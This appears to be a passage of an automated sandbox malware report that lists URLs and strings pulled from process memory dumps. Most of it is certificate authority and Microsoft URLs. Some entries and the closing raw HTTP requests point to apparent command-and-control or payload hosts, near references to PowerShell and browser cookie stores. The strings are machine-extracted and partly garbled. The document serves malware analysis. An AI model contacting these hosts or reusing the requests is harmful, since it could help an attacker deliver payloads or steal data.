s)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00002344.00000002.149897.6F161000.00000020.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002344.00000003.153126.00640000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002344.00000003.153126.00640000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e(" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl09vp(l9v8,l9v(*l9v" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002344.00000003.153126.00722000.00000004.mdmp") Found URL "https://authint.bcentral.cn\appdata\local" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "https://earth.google.com$" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "https://app.diagrams.netpdata2.23.42.7.0soda_translation_binary_pathappdata\appdata.0\appdatalast_update_checking_timedataclient_id_hash_key_creatediderprivate_key_encrypted_dataaster_app_bound_encrypted_key2.5.29.16user_laf_toggle_state_staticnpi7edge_non_signin_profile_typeedge_account_sovereigntyedge_account_environment_stringperformance_class_versionile_typeedge_profile_can_be_deletededge_account_environmentoviderforce_signin_profile_lockedis_consented_primary_accountsignin.with_credential_providerperformance_interventionment_stringaddtrust" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\7e4dca80246863e3.customdestinations-ms\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\d5ba589d0a57f0a8.customdestinations-ms\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\f18460fded109990.customdestinations-ms/consumer/ai-assistant/alpha/v1/static/js/realnameauth.9b5fc58a.js\device\harddiskvolume2\windows\systemresources\windows.ui.settingsappthreshold\systemsettings\assets\fonts\setmdl2.ttf\device\harddiskvolume2\windows\systemapps\microsoft.windows.cortana_cw5n1h2txyewy\cortana.internal.search.winmd\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\5d6f13ed567aa2da.customdestinations-ms\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\ccba5a5986c77e43.customdestinations-ms\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\5b5f95b6c9191bc8.customdestinations-ms\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms_tla\device\harddiskvolume2\windows\systemresources\windows.ui.settingsappthreshold\systemsettings\assets\fonts\setmdl2.ttf\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\en_office_professional_plus_2016_x86_x64_dvd_6962141.lnk\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\28c8b86deab549a1.customdestinations-ms\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\f01b4d95cf55d32a.customdestinations-ms\??\c:\users\hapubws\appdata\roaming\microsoft\windows\recent\customdestinations\9d1f905ce5044aee.customdestinations-msmozilla/5.0" - Source: "00000000-00002344.00000003.153126.076F0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=5288086-microsoft.powershell.psconsolereadlineoptionspsreadlineoptionhelpuri.https://go.microsoft.com/fwlink/?linkid=528811vpsreadlinekeyhandlerhelpuri.https://go.microsoft.com/fwlink/?linkid=528810vpsreadlinekeyhandlerhelpuri.https://go.microsoft.com/fwlink/?linkid=528807(microsoft.powershell.keyhandlerremovepsreadlinekeyhandlerhelpuri.https://go.microsoft.com/fwlink/?linkid=528809" - Source: "00000000-00002344.00000003.153126.088A2000.00000002.mdmp") Found URL "https://github.com/lzybkr/psreadline/issues/new-----------------------------------------------------------------------last" - Source: "00000000-00002344.00000003.153126.088A2000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportackupindows" - Source: "00000000-00002344.00000003.153126.08930000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=b1wzaan1j8qx4%2bw2if9e5wrhxeavjrokm52ehtp%2bnv9exwkynbpph2djz46m7psusraeujvks2xzxlw28joc6frmhakluffc8zwd9246rnsaudspgmpjcj5lioqp8c%2bu8jj6pqfzusguinemwzh2pw%3d%3d" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zw.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pklt.htm0@$vkt7" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "https://unisd.tonisear.com/dsfnkbertj34initializeprocthreadattributelist\device\harddiskvolume2\winclient.logf1575b64-8492-4e8b-b102-4d26e8c70371\device\namedpipe\wireshark.4344.signalf1575b64-8492-4e8b-b102-4d26e8c70371\??\c:\windows\globalization\sorting\f1575b64-8492-4e8b-b102-4d26e8c70371\device\namedpipe\wireshark.4344.signalf1575b64-8492-4e8b-b102-4d26e8c70371\??\c:\users\classic" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "http://windirt-svcb\c8.exeabled.cmd\??\.dllrver\??\.txtnamic-svchost.ps1close-svco\29o\30*.dbo\31o\33o\32o\36o\35o\34o\38o\37o\40o\39*.xml*.jsono\45o\16" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "https://ootid.srv-auth-dlt-msh.in.net/was0do6si2inx&_t0\device\harddiskvolume2\windows\fonts\staticcache.dathttps://ootid.srv-auth-dlt-msh.in.net/pylupdate6inx&_t\device\harddiskvolume2\windows\fonts\staticcache.dat\device\harddiskvolume2\windows\fonts\staticcache.dat\device\harddiskvolume2\windows\fonts\segoeui.ttf\..\\device\harddiskvolume2\windows\fonts\staticcache.dat\device\harddiskvolume2\windows\fonts\segoeuib.ttf\device\harddiskvolume2\windows\fonts\segoeui.ttf\sysnative\windowspowershell\v1.0\powershell.exe\device\harddiskvolume2\windows\fonts\seguisb.ttf\device\harddiskvolume2\windows\fonts\segoeuisl.ttf\device\harddiskvolume2\windows\fonts\segoeui.ttf\device\harddiskvolume2\windows\fonts\segoeui.ttf\device\harddiskvolume2\program" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "https://oper\cookies.sqlite\web" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=zzenykuuhai3cg3a3hemrxwnkwsl%2fu8sbzclutcg2i0iicqbnvdz0wiafrs21opipwkrpnfrcpqygrewura0a96lxdyptkbjzzoxwziz45wm5bai9ns7cmd3ptnuh6loekweypg4uewwbrjxaodtbg%3d%3d" - Source: "00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004816.00000000.153254.83582000.00000002.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00004816.00000000.153254.B2BC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc6n5hthawte," - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e2.5.29.1bhv*8tpaglobalsign" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;r0m0]>-xgj" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erissi" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0&pj>e" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crlkzs/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0$vkt7" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microocerauteo%0)-23.crt08.ek@26vtlp0xr!s4zs9_>du%-+washington1redmond1microsoft" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004816.00000000.153254.CACC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004816.00000000.153254.CB210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004816.00000000.153254.CB210000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00004816.00000001.155173.6B7C8000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc6n5hthawte," - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eourcesroviderourcesourceslambda_methodourcesb6b117b6b1\syspwproviderourcesourcesourcesources2.5.29.1ourceslambda_methodmicrosoft" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;r0m0]>-xgj" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0erissilityilitylambda_methodn=v4(2.5.4.3lambda_methodlambda_methodlambda_methodility2.5.29.10bdddlambda_methodlambda_methodcallsite.targetbdddlambda_methodlambda_methodcallsite.targetcallsite.targetcallsite.target5.5.7.3.1assm1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004816.00000001.155173.CACC0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00004816.00000001.155173.CB210000.00000004.mdmp") Found URL "http://%m/pki/cr.crl0zpn0l0j://www.mx$s*n$z,z$00t" - Source: "00000000-00004816.00000001.155173.CB210000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004816.00000001.155173.CB210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004816.00000001.155173.CB210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004816.00000001.155173.CB210000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft2micr" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://wwmsj$c" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crya'4iy()>@6t+a6" - Source: "00000000-00004816.00000001.155173.CB310000.00000004.mdmp")53:T416,Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002344.00000001.147976.00640000.00000004.mdmp, 00000000-00002344.00000002.149897.00640000.00000004.mdmp, 00000000-00002344.00000003.153126.00640000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00002344.00000001.147976.076F0000.00000004.mdmp, 00000000-00002344.00000002.149897.076F0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "POST /J~@_.NC~RYg HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "POST /91ZG3@_I-Ac@P-viZQNYJ.htFY HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")54:T15f3,GET /pylupdate6in HTTP/1.1 Host: ootid.srv-auth-dlt-msh.in.net Connection: close GET /was0do6si2in HTTP/1.1 Host: ootid.srv-auth-dlt-msh.in.net Connection: close GET /celqop-v9tp34n2-2ao43do-hv2wxcv-piojaip/hpwia2drvrootwn8.html HTTP/1.1 Host: ohn.stainedunstitch.work Connection: close GET /repos/facebookresearch/segment-anything/branches HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com Accept-Encoding: gzip deflate Connection: Keep-Alive GET /repos/vercel/next.js HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6857.34 Safari/537.36 Edg/130.0.2857.69 Host: api.github.com 